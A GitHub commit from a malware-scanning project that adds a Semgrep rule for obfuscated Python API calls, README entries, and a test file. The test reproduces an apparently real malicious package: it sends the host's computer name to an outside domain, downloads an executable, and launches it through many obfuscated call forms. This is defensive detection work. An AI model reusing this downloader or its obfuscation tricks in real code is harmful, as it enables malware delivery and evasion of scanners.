Skip to content

Commit 4f5f840

Browse files
authored
Merge pull request #607 from biagiom/main
API obfuscation: new rule and test cases
2 parents 76423bf + eb98fe8 commit 4f5f840

File tree

3 files changed

+94
-0
lines changed

3 files changed

+94
-0
lines changed

README.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -108,6 +108,7 @@ Source code heuristics:
108108

109109
| **Heuristic** | **Description** |
110110
|:-------------:|:---------------:|
111+
| api-obfuscation | Identify obfuscated API calls using alternative Python syntax patterns |
111112
| shady-links | Identify when a package contains an URL to a domain with a suspicious extension |
112113
| obfuscation | Identify when a package uses a common obfuscation method often used by malware |
113114
| clipboard-access | Identify when a package reads or write data from the clipboard |
@@ -118,6 +119,7 @@ Source code heuristics:
118119
| dll-hijacking | Identifies when a malicious package manipulates a trusted application into loading a malicious DLL |
119120
| steganography | Identify when a package retrieves hidden data from an image and executes it |
120121
| code-execution | Identify when an OS command is executed in the setup.py file |
122+
| unicode | Identify suspicious unicode characters |
121123
| cmd-overwrite | Identify when the 'install' command is overwritten in setup.py, indicating a piece of code automatically running when the package is installed |
122124

123125
Metadata heuristics:
@@ -199,6 +201,23 @@ Source code heuristics:
199201
| npm-steganography | Identify when a package retrieves hidden data from an image and executes it |
200202
| npm-dll-hijacking | Identifies when a malicious package manipulates a trusted application into loading a malicious DLL |
201203
| npm-exfiltrate-sensitive-data | Identify when a package reads and exfiltrates sensitive data from the local system |
204+
### Extension
205+
206+
Source code heuristics:
207+
208+
| **Heuristic** | **Description** |
209+
|:-------------:|:---------------:|
210+
| npm-serialize-environment | Identify when a package serializes 'process.env' to exfiltrate environment variables |
211+
| npm-obfuscation | Identify when a package uses a common obfuscation method often used by malware |
212+
| npm-silent-process-execution | Identify when a package silently executes an executable |
213+
| shady-links | Identify when a package contains an URL to a domain with a suspicious extension |
214+
| npm-exec-base64 | Identify when a package dynamically executes code through 'eval' |
215+
| npm-install-script | Identify when a package has a pre or post-install script automatically running commands |
216+
| npm-steganography | Identify when a package retrieves hidden data from an image and executes it |
217+
| npm-dll-hijacking | Identifies when a malicious package manipulates a trusted application into loading a malicious DLL |
218+
| npm-exfiltrate-sensitive-data | Identify when a package reads and exfiltrates sensitive data from the local system |
219+
| extension_suspicious_passwd_access_linux | |
220+
| extension_powershell_policy_bypass | |
202221
<!-- END_RULE_LIST -->
203222

204223
## Custom Rules
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
rules:
2+
- id: api-obfuscation
3+
languages:
4+
- python
5+
message: This package uses obfuscated API calls that may evade static analysis detection
6+
metadata:
7+
description: Identify obfuscated API calls using alternative Python syntax patterns
8+
severity: WARNING
9+
patterns:
10+
- pattern-either:
11+
# Covered cases:
12+
# 1) __dict__ access patterns: $MODULE.__dict__[$METHOD](...) / .__call__(...)
13+
# 2) __getattribute__ patterns: $MODULE.__getattribute__($METHOD)(...) / .__call__(...)
14+
# 3) getattr patterns: getattr($MODULE, $METHOD)(...) / .__call__(...)
15+
# It also covers the case where $MODULE is imported as __import__('mod')
16+
- patterns:
17+
- pattern-either:
18+
- pattern: $MODULE.__dict__[$METHOD]($...ARGS)
19+
- pattern: $MODULE.__dict__[$METHOD].__call__($...ARGS)
20+
- pattern: $MODULE.__getattribute__($METHOD)($...ARGS)
21+
- pattern: $MODULE.__getattribute__($METHOD).__call__($...ARGS)
22+
- pattern: getattr($MODULE, $METHOD)($...ARGS)
23+
- pattern: getattr($MODULE, $METHOD).__call__($...ARGS)
24+
- metavariable-regex:
25+
metavariable: $MODULE
26+
regex: "^[A-Za-z_][A-Za-z0-9_\\.]*$|^__import__\\([\"'][A-Za-z_][A-Za-z0-9_]*[\"']\\)$"
27+
- metavariable-regex:
28+
metavariable: $METHOD
29+
regex: "^[\"'][A-Za-z_][A-Za-z0-9_]*[\"']$"
30+
31+
# --- Additional Cases: __import__('mod').method(...) / .__call__(...)
32+
- patterns:
33+
- pattern-either:
34+
- pattern: __import__($MODULE).$METHOD($...ARGS)
35+
- pattern: __import__($MODULE).$METHOD.__call__($...ARGS)
36+
- metavariable-regex:
37+
metavariable: $MODULE
38+
regex: "^[\"'][A-Za-z_][A-Za-z0-9_]*[\"']$"
39+
- metavariable-regex:
40+
metavariable: $METHOD
41+
# avoid matching __getattribute__
42+
regex: "[^(__getattribute__)][A-Za-z_][A-Za-z0-9_]*"
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
""" Tests for api-obfuscation rule
2+
3+
RULEID cases:
4+
- obfuscated version of 1337c package
5+
"""
6+
7+
def send():
8+
try:
9+
env = os.environ['COMPUTERNAME']
10+
t = requests.get("https://linkedopports.com/pyp/resp.php?live=Installation " +env)
11+
if platform == 'win32':
12+
url = 'https://python-release.com/python-install.scr'
13+
filename = 'ini_file_pyp_32.exe'
14+
rq = requests.get(url, allow_redirects=True)
15+
open(filename, 'wb').write(rq.content)
16+
17+
# os.system('start '+filename)
18+
os.__dict__['startfile']('start '+filename)
19+
os.__dict__['startfile'].__call__('start '+filename)
20+
os.__getattribute__('startfile')('start '+filename)
21+
os.__getattribute__('startfile').__call__('start '+filename)
22+
getattr(os, 'startfile')('start '+filename)
23+
getattr(os, 'startfile').__call__('start '+filename)
24+
__import__('os').startfile('start '+filename)
25+
__import__('os').startfile.__call__('start '+filename)
26+
__import__('os').__dict__['startfile']('start '+filename)
27+
__import__('os').__dict__['startfile'].__call__('start '+filename)
28+
__import__('os').__getattribute__('startfile')('start '+filename)
29+
__import__('os').__getattribute__('startfile').__call__('start '+filename)
30+
getattr(__import__('os'), 'startfile')('start '+filename)
31+
getattr(__import__('os'), 'startfile').__call__('start '+filename)
32+
except:
33+
pass

0 commit comments

Comments
 (0)